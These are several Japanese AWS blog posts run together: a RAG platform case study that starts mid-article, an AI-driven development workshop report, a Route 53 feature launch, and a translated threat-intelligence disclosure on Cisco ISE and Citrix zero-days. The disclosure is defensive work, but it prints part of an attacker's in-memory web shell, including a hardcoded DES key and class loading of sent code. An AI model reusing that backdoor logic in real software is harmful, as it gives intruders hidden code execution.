両面コピー機能を使用する場合 注3 ② カラーコピーを行う場合 注4 ③ 拡大・縮小コピーを行う場合 ④ 複数ページを1枚にまとめる集約コピー 注5 ⑤ ホチキス止めなどの仕上げ機能を使用する場合 注6 <figure> <figure_type>Diagram</figure_type> ## コピー操作の流れ このフローチャートは複合機でのコピー操作の手順を示しています。原稿セットから開始し、設定選択を経て最終的にスタートボタンを押すまでの流れを図示しています。 原稿を原稿台ガラス面に下向きにセット ↓ テンキーでコピー枚数を入力 ↓ カラーコピーを使用しますか？ （はい/いいえの分岐） はい → 「カラー」を選択 いいえ → 「白黒」を選択 ↓ 両面印刷を行いますか？ （はい/いいえの分岐） はい → 綴じ方向を選択（長辺綴じ/短辺綴じ） 長辺綴じ → 長辺綴じ設定 短辺綴じ → 短辺綴じ設定 いいえ → 片面印刷設定 ↓ 緑色のスタートボタンを押す </figure> **注1** 複合機とは、コピー、プリント、スキャン、FAXなどの機能を1台に統合した機器のことです。各機能は操作パネルから選択できます。 **注2** 原稿台は機器上部のガラス面です。原稿を下向きにセットし、サイズガイドに合わせて配置してください。 **注3** カラーコピーを行う場合は、操作パネルで「カラー」を選択します。モノクロより時間がかかります。 **注4** 拡大・縮小は25%～400%の範囲で設定できます。よく使う倍率（A4→A3など）はプリセットから選択可能です。 **注5** 集約コピーは、複数ページを1枚の用紙にまとめる機能です。2in1、4in1などが選択できます。 **注6** 仕上げ機能では、ホチキス止め、パンチ穴あけなどが自動で行えます。注7 オプション装置が必要な場合があります。 **注7** 仕上げ機能の詳細については、機器の取扱説明書を参照してください。 </markdown> このように、二段組テキストの統合、フローチャート図の構造化、注釈の対応付けが正確に行われ、検索時に適切なコンテキストを提供できる形式で抽出されています。 検索精度の最適化：ハイブリッドアーキテクチャ 同社が複数のデータソースで検証を行った結果、Embedding モデル（テキストをベクトル化して数値表現に変換し、意味的な類似性を計算できるようにするモデル）の違いによって検索精度が異なることが判明しました。特に、一部のデータソースでは、Amazon Bedrock Knowledge Bases で提供されているモデルよりも、オープンソースの Embedding モデルの方が高い検索精度を示しました。 そこで同社は、このオープンソースの Embedding モデルを活用するため、Amazon SageMaker AI を活用する方針としました。Amazon SageMaker AI は、独自のモデルをホスティングしてインフラを詳細に制御できる機械学習サービスで、Amazon Bedrock では提供されていないオープンソースモデルを柔軟に利用できます。 同社は、データソースの特性に応じて最適なアプローチを選択するハイブリッドアーキテクチャを構築しました。社内マニュアルのようなレイアウトが複雑なファイルを扱うデータソースについては、Amazon Bedrock Knowledge Bases を活用し、Foundation Model Parsing によるデータ抽出からベクトル化、データベース格納までをマネージドサービスで処理します。一方、オープンソースの Embedding モデルが高精度を示したデータソースについては、AWS Step Functions でデータ抽出、チャンキング、ベクトル化、データベース格納といったドキュメント登録処理のワークフローを構築し、ベクトル化には Amazon SageMaker AI でホストした Embedding モデルを活用する独自実装の RAG としました。このハイブリッドアーキテクチャにより、各データソースに最適化された高精度な検索を実現しています。 大量ドキュメントの高速登録：二段階の並列制御 独自実装の RAG では、ドキュメントの変更や追加時に、テキスト抽出、チャンキング、ベクトル化、データベース格納という一連の処理を実行します。数千から数万のファイルを高速に処理するため、同社は並列処理を活用していますが、単純に並列度を上げるだけでは ベクトル化を行う Amazon SageMaker AI エンドポイントの処理能力を超えてしまいます。 AWS Step Functions と Amazon SageMaker AI を組み合わせたデータ処理パイプラインを構築し、エンドポイントの処理能力を考慮した二段階の並列制御を実装しました。 定期的なバッチ処理で S3 バケットにファイルが配置されると、それをトリガーとして AWS Step Functions ステートマシンが起動され、ドキュメント登録処理が開始されます。複数のファイルが同時に配置された場合は複数のステートマシンが並列で起動されますが、Amazon DynamoDB を使用したロック機構により同時実行数を制御しています。 次に、各ステートマシン内では、Distributed Map を活用して 1 ファイル内の数百〜数千のチャンクを並列処理します。Amazon SageMaker AI エンドポイントのインスタンス数を増やすことで、より多くのチャンクを同時にベクトル化でき、処理時間を短縮できます。 この二段階の制御により、ファイル単位でのエラーハンドリングを維持しながら、チャンクレベルでは大規模な並列処理による高速化を実現しています。 ドキュメント登録処理の並列制御アーキテクチャ コスト最適化：用途別エンドポイントの使い分け ベクトル化処理において、検索時とドキュメント登録時では処理の特性が異なります。検索時はユーザーの質問をリアルタイムでベクトル化する必要があり、1 回あたりの処理データ量は少量ですが、常時稼働が求められます。一方、ドキュメント登録時は定期的なバッチ処理で数千〜数万のドキュメントを一括でベクトル化するため、大量のデータを処理する必要がありますが、常時稼働は不要です。 同社は、この特性の違いに応じて Amazon SageMaker AI のエンドポイントを 2 つに分けて運用しています。検索用エンドポイントは常時稼働が必要なため低コストな CPU インスタンスを採用し、ドキュメント登録用エンドポイントは高速処理のため GPU インスタンスを採用しつつ、処理がない時間帯はゼロスケーリングでコストを削減しています。この使い分けにより、高いパフォーマンスとコスト効率を両立しています。 お客様の評価と今後の展望 東京海上日動システムズ デジタルイノベーション本部 デジタルイノベーション開発部 佐田様からは以下のコメントをいただいています。 全社生成 AI プラットフォームの開発は、当社にとって非常にチャレンジングなプロジェクトでした。生成 AI をビジネスに効果的に活用していくために、大規模かつ高精度なナレッジ検索の機能は必要不可欠であると考えていますが、Amazon Bedrock Knowledge Bases をはじめとする AWS の各サービスおよびソリューションアーキテクトやサービス開発チームの皆様のサポートのおかげでこれを実現することができました。今後も、このプラットフォームを全社の生成 AI 基盤として拡大していき、金融業界における生成 AI 活用のリーディングケースを作っていきたいと考えています。 同社は今後、この全社生成 AI 実行基盤を AI エージェント実行基盤へと発展させていく方針です。Amazon Bedrock AgentCore などのサービスを活用し、多様なフレームワークやモデルを柔軟に組み合わせながら、AI エージェントを安全かつスケーラブルに運用できる環境の構築を目指しています。 まとめ 本事例を通じて、企業における生成 AI の本格展開に向けた重要な示唆が得られました。 生成 AI を全社に展開する際は、ガバナンス、スケーラビリティ、コスト効率を初期段階から考慮した基盤設計が重要です。マルチアカウント構成やゼロスケーリングなどの設計パターンにより、持続可能な運用が可能になります。 RAG システムの構築では、まず Amazon Bedrock Knowledge Bases で迅速に構築し、データソースの特性に応じて独自実装を追加する段階的なアプローチが有効です。マネージドサービスと独自実装を組み合わせることで、開発速度と柔軟性を両立できます。 また、RAG システムの性能は、ドキュメントの構造やデータソースの特性を深く理解することで大きく向上します。実際のデータで検証を行い、適材適所で技術を選択することが重要です。 同社が構築した全社生成 AI 実行基盤とその上で動作する RAG システムは、金融業界における生成 AI の本格展開のモデルケースとして、業界全体での活用促進に貢献することが期待されます。 著者 神部 洋介 (Yosuke Kambe) アマゾンウェブサービスジャパン合同会社 フィナンシャルサービス技術本部 ソリューションアーキテクト 2022 年に AWS に入社。前職は SIer で主に金融機関向けの基幹系システムやデータ分析基盤の開発に従事。現在は、保険会社のお客様を中心にデータ活用や生成 AI 活用をはじめとした様々な技術支援を行っている。

はじめに 本稿は AWS と LIFULL 様の共同執筆により、AI 駆動開発ライフサイクル（AI-DLC）Unicorn Gym の実践を通じて得られた学びとその後の変化をお伝えするものです。 LIFULL 様は AWS の ソフトウェア開発生成 AI アシスタントである Amazon Q Developer を全社的に活用し、エンジニアだけでなく企画職の方も業務の生産性向上に取り組まれています。個人単位でのAI Agentの活用は着実に進んでいますが、次のステップとして組織でどう活用していくかはまだ検討段階にありました。 組織的な活用をさらに進めるため、LIFULL 様と AWS で AI-DLC Unicorn Gym と呼ばれるワークショップに取り組み、AI-DLC の有効性を確認しました。本ブログでは AI-DLC Unicorn Gym の成果と、実施後の開発にどのような変化があったのかをお伝えします。 AI-DLC の詳細については、 AI-DLC のホワイトペーパー と 日本語の解説ブログ をご覧ください。 これまでの課題 LIFULL 様ではすでに多くのメンバーが Coding Agent を活用していましたが、その活用は個人レベルにとどまっていました。各自が独自の方法論を編み出し、それぞれのやり方で生産性を高めていたものの、組織全体として最適化できているとは言えない状況でした。 さらに、個人の活用レベルにも大きなばらつきがありました。AI を使いこなして高い生産性を実現しているメンバーがいる一方で、どう活用すればよいか手探りのメンバーも存在し、チーム全体としての底上げが課題となっていました。 AI-DLC Unicorn Gym の開催 この課題に対して、AWS と LIFULL 様は開発手法に AI-DLC を採用する検証を行うことにしました。AI-DLC Unicorn Gym は、AI-DLC を 3 日間で体験するワークショップです。ただし、単なる体験型のトレーニングではありません。参加チームは実際にプロダクション環境に搭載予定の機能をテーマとして持ち込み、企画、エンジニア、デザイナーが一堂に会して、本番リリースを目指して開発に取り組みます。 LIFULL 様では 6 チーム、約 30 名のメンバーが参加し、それぞれが実際のビジネス課題に対して AI-DLC を実践しました。3 日間という限られた時間の中で、要件定義から設計、実装、テストまでを一気通貫で進め、AI-DLC の効果を体感しました。 AI-DLC Unicorn Gym の成果 3 日間の短期間で、全てのチームが何らかの成果を上げました。3 チームは MVP の実装まで完了させ、うち 1 チームは Production 環境へのデプロイが可能なレベルまで実装を完了させました。 生産性向上の観点では、想定開発期間の 3 倍以上の速度で開発でき、AI-DLC により劇的に開発期間を短縮することを確認しました。 対象システム 取り組み内容 参加者構成 進捗 想定開発期間 AI-DLC 想定開発期間 生産性向上率 AI エージェント 住まい探しに関わる AI エージェントの開発 企画部門（2 名）・技術部門（4名）（計 6 名） モックまで完成 後日一部ユニットは AI-DLC で実装したものをそのままリリース済み 3 ヶ月 1 ヶ月 300 % 問合せ体験改善 AI を活用した問合せ体験の最適化 企画部門（計 3 名）・技術部門（計 4 名） モックまで完成 モックを踏まえ、改めて詳細な仕様を再検討中 3 ヶ月 1 ヶ月 300 % クライアント・営業向けレポート 会員や営業が利用するレポート機能の新規開発 企画部門（1 名）・技術部門（3 名）（計 4 名） モックまで完成 既存システムに実装するか新規に構築するかの調整中 3 ヶ月 1 ヶ月 300 % バックオフィスフローの自動化 バックオフィスフローに対する自動化 企画部門・技術部門（計 4 名） 開発継続中、他施策の合間を見て進行させていく予定 3 ヶ月 1 ヶ月 300 % 住宅ローンシミュレーション機能追加 物件詳細に、その物件の「月々支払額」がわかるローンシュミレーター機能を追加する 企画部門・技術部門（計 5 名） 3 日で開発は完了、リリースは延期 2 ヶ月 3 日 1300 % システム土台の入れ替え EOL したサービスの新しい基盤への移行 技術部門（計 3 名） 技術調査まで完了し、1 つ目のサービスの移管作業途中まで 1 年 3 ヵ月 400 % AI-DLC Unicorn Gym からの学び AI-DLC Unicorn Gym を通じて多くの学びを得ました。参加者のフィードバックから AI-DLC の知見を共有します。 同期的なコラボレーションの重要性 AI-DLC の最大の特徴は、企画・デザイナー・エンジニアが同期的に作業を進めることです。従来の非同期なプロセスでは、企画がビジネス要件を詰めて開発に調査を依頼し、フィードバックを待つ必要がありました。AI-DLC ではその場で技術的な実現可能性を確認しながら要件を詰められるため、リードタイムが大幅に削減されました。 エンジニアからは「今までユーザーストーリーに携わることはなかったけど、機能要件だけで判断しないことが分かるようになったのが良かった」という声が上がっています。さらに、AI が議論の内容を自動的にドキュメント化してくれることで、チーム全員が同じ理解を持ち、後から参加したメンバーもすぐにキャッチアップできる状態が作られました。 こうしたコラボレーションとドキュメント化により、要件定義や設計の質が飛躍的に向上し、実装やテストが驚くほど速く進むようになりました。あるチームでは「設計に 2 日かけたことで、コーディング自体は 30 分ぐらいだった」と報告しています。 AI-DLC をさらに加速させるために必要なこと 3 日間の体験を通じて、AI-DLC をより効果的に回していくために必要なことも明確になりました。 最も多く挙がったのが、社内ドキュメントや設計書の整備です。「既存システムを AI に理解させるための情報がまとまっておらず、既存システムの仕様調査に時間がかかってしまいました」という指摘がありました。ドキュメント整備はレビュープロセスの効率化にも直結し、「ナレッジを蓄積することでやりとりを減らせれば効率化できる」という気づきも得られています。 また、AI-DLC の高速な開発サイクルでは、人間がボトルネックになりやすいという課題も浮かび上がりました。「仕様策定や開発が高速化したことで、仕様やデザインの承認がボトルネックになる」という指摘がありました。裁量を現場に委譲しプロダクトチームが独自に意思決定できるようにすることが、AI-DLC をスムーズに回すための重要なポイントとなります。 AI-DLC Unicorn Gym 実施後の変化 AI-DLC Unicorn Gym の体験は、LIFULL 様の開発プロセスに具体的な変化をもたらしました。 最も象徴的な変化は、職種を超えたコラボレーションの日常化です。プロダクトマネージャーとエンジニアが共同で作業するために毎日 3 時間を確保するようになり、要件定義段階から企画・デザイナー・エンジニアの 3 職種が集まって検討及び議論をする機会が増えました。モブワークの重要性や効率の良さに気づけたことで、エンジニア・非エンジニアが定期的に集まってモブワークをする機会も増えています。 開発プロセスにも変化が現れました。小さなタスクでも AI-DLC のやり方に沿って「プラン→レビュー→実行→レビュー」のサイクルを回す機会が増え、基盤チームでは新規開発案件を基本的に AI-DLC をベースに進めていくことを決定しました。インフラ・サーバー構築など裏側にも活用できることが分かり、適用範囲が広がっています。 ツールやワークフローの面でも進化が見られます。サービス企画職メンバーも企画書・仕様書などの上流ドキュメントをマークダウンで作成し、GitHub 上でドキュメントのレビューや管理を行うようになりました。デザイナーは Figma MCP サーバーを活用してコーディングした HTML/CSS を対象リポジトリへ適用するためのワークフロー検討を始めています。 特筆すべきは、新卒メンバーの成長速度です。通常は時間をかけてキャッチアップする必要のある 20 年もののシステムへの機能追加を、入社半年の新卒メンバーが 3 日でできるようになりました。AI-DLC は、経験の浅いメンバーでも高度な開発に参加できる環境を作り出しています。 まとめ AI-DLC Unicorn Gym を通じて、LIFULL 様は個人レベルの AI 活用から組織レベルの活用へと大きく前進しました。3 日間で想定開発期間の 3 倍以上の生産性向上を実現し、3 チームが MVP 実装まで完了させました。 より重要なのは数字に表れない変化です。企画・デザイナー・エンジニアが同期的にコラボレーションする文化が根付き、「プラン→レビュー→実行→レビュー」という AI-DLC のサイクルが日常の開発プロセスに組み込まれています。属人化していたノウハウが方法論として言語化され、新卒メンバーでも高度な開発に参加できるようになりました。 LIFULL 様の AI-DLC への取り組みは、ここからさらに加速していきます。今後は、この学びを社内全体に展開し、より多くのプロジェクトで AI-DLC を実践することで、組織全体の生産性をさらに向上させていきます。 著者 長友 健人 (Kento Nagatomo) アマゾンウェブサービスジャパン合同会社　ソリューションアーキテクト デジタルネイティブビジネスを展開されるお客様を中心に技術支援をしています。 磯野 圭輔 (Keisuke Isono) 株式会社LIFULL テクノロジー本部 事業基盤部 LIFULLのAWSクラウドインフラ全体の管理・運用チームのエンジニアリングマネージャー AWS CDKでコード化することで「誰にでもわかる」インフラを作ることに注力している。 また、Amazon Q Developerの導入を主導し、AI-DLCによるチームのさらなる開発生産性向上も模索中。 吉永祐太（Yoshinaga Yuta) 株式会社LIFULL　LIFULL HOME’S事業本部プロダクトエンジニアリング部 賃貸・売買などのマーケットを横断した施策を推進するグループのエンジニアリングマネージャー

2025 年 11 月 26 日、パブリック DNS レコードを管理するための Amazon Route 53 高速復旧について発表しました。これは、米国東部 (バージニア北部) AWS リージョン のサービス中断時に 60 分の目標復旧時間 (RTO) を実現するように設計された、新しいドメインネームサービス (DNS) 事業継続特徴量です。この強化により、お客様は地域的な障害時でも DNS の変更やインフラストラクチャのプロビジョニングを継続できるようになり、ミッションクリティカルなアプリケーションの予測可能性と耐障害性が向上します。 AWS では、事業継続性を必要とするアプリケーションを実行しているお客様から、事業継続要件と規制遵守義務を満たすために、追加の DNS レジリエンス機能が必要だとお伺いしてきました。AWS はグローバルインフラストラクチャ全体で優れた可用性を維持していますが、銀行、フィンテック、SaaS などの規制対象業界の組織は、予期しない地域的な混乱が発生した場合でも、必要に応じてスタンバイクラウドリソースを迅速にプロビジョニングしたり、トラフィックをリダイレクトしたりできるという安心感を求めています。 パブリック DNS レコードを管理するための高速復旧は、米国東部 (バージニア北部) リージョンのサービスが中断されてから 60 分以内にお客様が実行できる DNS 変更を対象とすることで、このニーズに応えます。この特徴量は既存の Route 53 セットアップとシームレスに連携し、フェイルオーバーシナリオ中に ChangeResourceRecordSets 、 GetChange 、 ListHostedZones 、 ListResourceRecordSets などの主要な Route 53 API 操作へのアクセスを提供します。お客様は、アプリケーションやスクリプトを変更することなく、既存の Route 53 API エンドポイントを引き続き使用できます。 試してみましょう 高速復旧を使用するように Route53 ホストゾーンを設定するのは簡単です。ここでは、構築中の新しいウェブサイト用に新しいホストゾーンを作成しています。 ホストゾーンを作成すると、 [高速復旧] というラベルの付いた新しいタブが表示されます。ここで、高速復旧はデフォルトで無効になっていることがわかります。 有効にするには、 [有効化] ボタンをクリックして、下のダイアログに示すとおり表示されるモーダルで選択を確認するだけです。 高速復旧の有効化が完了するまでに数分かかります。有効にすると、下のスクリーンショットのように緑色の [有効化済み] ステータスが表示されます。 高速復旧は、 AWS マネジメントコンソール の同じ領域からいつでも無効にできます。また、既に作成した既存のホストゾーンの高速復旧を有効化することもできます。 DNS 事業継続性の強化 高速復旧を有効化すると、お客様はサービスの中断時にいくつかの重要な機能を利用できます。この特徴量により、必要な Route 53 API 操作へのアクセスが維持されるため、引き続き最も必要なタイミングで DNS 管理をご利用いただけます。組織は、サービスの全面的な復旧を待つことなく、引き続き重要な DNS の変更、新しいインフラストラクチャのプロビジョニング、トラフィックフローのリダイレクトを行うことができます。 この実装は、シンプルさと信頼性を重視して設計されています。お客様が新しい API を習得したり、既存の自動化スクリプトを変更したりする必要はありません。同じ Route 53 エンドポイントと API コールは引き続き動作し、通常の操作とフェイルオーバーの両方のシナリオでシームレスなエクスペリエンスをご提供します。 今すぐご利用いただけます Amazon Route 53 パブリックホストゾーンの高速復旧をご利用いただけるようになりました。この特徴量は、AWS マネジメントコンソール、 AWS コマンドラインインターフェイス (AWS CLI) 、 AWS ソフトウェア開発キット (AWS SDK) 、または AWS CloudFormation や AWS Cloud Development Kit (AWS CDK) などの Infrastructure as Code Tools から有効化できます。高速復旧を使用しても追加コストは発生しません。 高速復旧の詳細と使用方法については、 ドキュメント をご覧ください。 この新機能は、クラウドでミッションクリティカルなアプリケーションを構築して運用するために必要な DNS レジリエンスをお客様に提供するという AWS の継続的な取り組みの一環です。 原文は こちら です。

本ブログは 2025 年 11 月 12 日に公開された AWS Blog “ Amazon discovers APT exploiting Cisco and Citrix zero-days ” を翻訳したものです。 Amazon の脅威インテリジェンスチームは、高度な脅威アクターが Cisco Identity Service Engine (ISE) と Citrix システムにおける未公開のゼロデイ脆弱性を悪用していることを特定しました。この攻撃キャンペーンではカスタムマルウェアが使用され、複数の未公開脆弱性の悪用が確認されました。この発見は、脅威アクターが重要なアイデンティティとネットワークアクセス制御インフラストラクチャ (企業がセキュリティポリシーの実施とネットワーク全体の認証管理に依存しているシステム) を標的にしている傾向を示しています。 最初の発見 Amazon の MadPot ハニーポットサービスは、Citrix Bleed Two 脆弱性 (CVE-2025-5777) の公開前に、これを悪用するエクスプロイト試行を検出しました。これは、脅威アクターがこの脆弱性をゼロデイとして悪用していたことを示しています。Amazon の脅威インテリジェンスチームは、Citrix の脆弱性を悪用している脅威を深く調査しました。その結果、Cisco ISE の当時はドキュメント化されておらず、脆弱なデシリアライゼーション (逆シリアル化) ロジックを使用するエンドポイントを標的とする攻撃ペイロードを特定し、Cisco へ共有しました。この脆弱性は現在 CVE-2025-20337 として指定されており、脅威アクターは Cisco ISE に対して認証を経ずにリモートからコードを実行 (RCE) し、侵害されたシステムへの管理者レベルのアクセス権を取得することが可能になります。この発見で特に懸念されたのは、Cisco が CVE 番号を割り当てたり、Cisco ISE の影響を受けるすべてのバージョンに包括的なパッチをリリースしたりする前に、実際の環境でエクスプロイトが発生していたことです。この手法は「 パッチギャップ攻撃 」と呼ばれ、高度な攻撃グループの典型的な手口です。彼らはベンダーが公開するセキュリティ情報を常に監視し、パッチが全ユーザーに行き渡る前の空白期間を狙って攻撃を仕掛けます。 カスタム Web シェルのデプロイ エクスプロイトに成功した後、脅威アクターは IdentityAuditAction という名前の正規の Cisco ISE コンポーネントに偽装したカスタム Web シェルをデプロイしました。これは典型的な既製のマルウェアではなく、Cisco ISE 環境専用に設計されたカスタムビルドのバックドアでした。この Web シェルは高度な検出回避機能を備えていました。完全にインメモリで動作し、フォレンジックアーティファクト (痕跡) を最小限に抑え、Java リフレクションを使用して実行中のスレッドに自身を注入します。また、Tomcat サーバー全体のすべての HTTP リクエストを監視するリスナーとして登録され、非標準の Base64 エンコーディングを使用した DES 暗号化を実装し、特定の HTTP ヘッダーを正しく指定しなければアクセスできない仕組みでした。 以下は、攻撃者が自身の Web シェルにアクセスするための秘密の認証キーを検証するコードの一部です。 if (matcher find()) { requestBody = matcher group(1) replace("*", "a") replace("$", "l"); Cipher encodeCipher = Cipher getInstance("DES/ECB/PKCS5Padding"); decodeCipher = Cipher getInstance("DES/ECB/PKCS5Padding"); byte[] key = "d384922c" getBytes(); encodeCipher init(1, new SecretKeySpec(key, "DES")); decodeCipher init(2, new SecretKeySpec(key, "DES")); byte[] data = Base64 getDecoder() decode(requestBody); data = decodeCipher doFinal(data); ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); if (proxyClass == null) { proxyClass = this defineClass(data); } else { Object f = proxyClass newInstance(); f equals(arrOut); f equals(request); f equals(data); f toString(); } セキュリティへの影響 前述のとおり、Amazon の脅威インテリジェンスチームは、MadPot ハニーポットを通じて、脅威アクターが CVE-2025-20337 と CVE-2025-5777 の両方をゼロデイとして悪用し、調査時点でこれらの脆弱性を使用してインターネットを無差別に標的にしていたことを特定しました。この攻撃キャンペーンを通じて、ネットワークエッジの重要なエンタープライズインフラストラクチャを標的とする脅威アクターの進化する戦術が明らかになりました。脅威アクターのカスタムツールは、複数の技術レイヤーにわたる深い知識を示しました。エンタープライズ Java アプリケーションや Tomcat サーバーといった基盤技術から、Cisco Identity Service Engine 固有のアーキテクチャに至るまで、詳細に理解していたことが伺えます。複数の未公開ゼロデイエクスプロイトを使用していたことは、高度な脆弱性調査能力を持つ、または非公開の脆弱性情報源を持つ、潤沢なリソースを持つ脅威アクターであることを示しています。 セキュリティチームへの推奨事項 セキュリティチームにとって、これはアイデンティティ管理システムやリモートアクセスゲートウェイなどの重要なインフラストラクチャコンポーネントが、脅威アクターにとって依然として主要な標的であることを再認識させるものです。これらのエクスプロイトは認証なしに実行可能であるため、適切に設定され細心の注意を払って維持されているシステムでさえ影響を受ける可能性があります。したがって、包括的な多層防御戦略を実装し、異常な動作パターンを識別できる堅牢な検出機能を開発することが不可欠です。AWS は、ファイアウォールまたは多層アクセスを通じて、管理ポータルなどの特権セキュリティアプライアンスエンドポイントへのアクセスを制限することを推奨しています。 ベンダーリファレンス NetScaler ADC and NetScaler Gateway Security Bulletin for CVE-2025-5349 and CVE-2025-5777 Cisco Identity Services Engine Unauthenticated Remote Code Execution Vulnerabilities この投稿に関するご質問やサポートについては、 AWS サポート にお問い合わせください。 CJ Moses CJ Moses は Amazon Integrated Security の CISO です。CJ は Amazon 全体のセキュリティエンジニアリングと運用を統括しています。彼の使命は、セキュリティ対策を最も導入しやすい選択肢とすることで、Amazon のビジネスを支えることです。CJ は 2007 年 12 月に Amazon に入社し、Consumer CISO、そして最近では AWS CISO など、さまざまな役割を担当した後、2023 年 9 月に Amazon Integrated Security の CISO になりました。 Amazon に入社する前、CJ は連邦捜査局 (FBI) のサイバー部門でコンピュータおよびネットワーク侵入対策の技術分析を統括していました。CJ は空軍特別捜査局 (AFOSI) の特別捜査官も務めました。CJ は、今日のセキュリティ業界の基礎と見なされているいくつかのコンピュータ侵入調査を主導しました。 CJ はコンピュータサイエンスと刑事司法の学位を持ち、SRO GT America GT2 レースカーの現役ドライバーでもあります。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。